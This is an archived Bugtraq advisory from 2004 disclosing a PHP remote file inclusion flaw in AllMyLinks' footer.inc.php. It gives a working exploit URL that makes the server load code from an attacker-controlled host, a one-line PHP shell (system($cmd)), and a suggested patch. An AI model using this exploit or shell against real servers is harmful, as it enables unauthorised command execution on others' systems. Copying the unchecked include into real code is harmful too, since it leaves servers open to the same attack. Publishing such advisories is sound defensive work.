bugtraq - AllMyLinks PHP Code Injection vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040214221934.32444.qmail@www.securityfocus.com>
Date: 14 Feb 2004 22:19:34 -0000
From: Pablo Santana <m4dsk4t3r@...mail.com>
To: bugtraq@...urityfocus.com
Subject: AllMyLinks PHP Code Injection vulnerability




******** AllMyLinks PHP Code Injection vulnerability ********

Product : AllMyLinks
Vendor : www.php-resource.net
Date : February 14, 2004
Problem : PHP Code Injection
Vendor Contacted ? : No

************************** Source ****************************

in /include/footer.inc.php

--------------------------------------------------------------

$AML_footer_get = require_once("".$_AMLconfig['cfg_serverpath']."/include/template.inc.php");

--------------------------------------------------------------

************************** Exploit ***************************

http://[target]/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://[attacker]/&cmd=uname%20-a

in http://[attacker]/include/template.inc.php have :

------------------------

<?
system($cmd);
?>

------------------------

************************** Impact ****************************

Malicious user execute arbitrary commands on the server .

************************* Solution ***************************

in /include/footer.inc.php replace 

$AML_footer_get = require_once("".$_AMLconfig['cfg_serverpath']."/include/template.inc.php");


for


if (isset($_AMLconfig['cfg_serverpath'])){
  die("Don\'t Hack it :)");
}

$AML_footer_get = require_once("".$_AMLconfig['cfg_serverpath']."/include/template.inc.php"); 

************************** Credits ****************************

bnfx : bnfx@...isocial.com

Mad_Skater : m4dsk4t3r@...mail.com

TechTeam Brazilian Crew .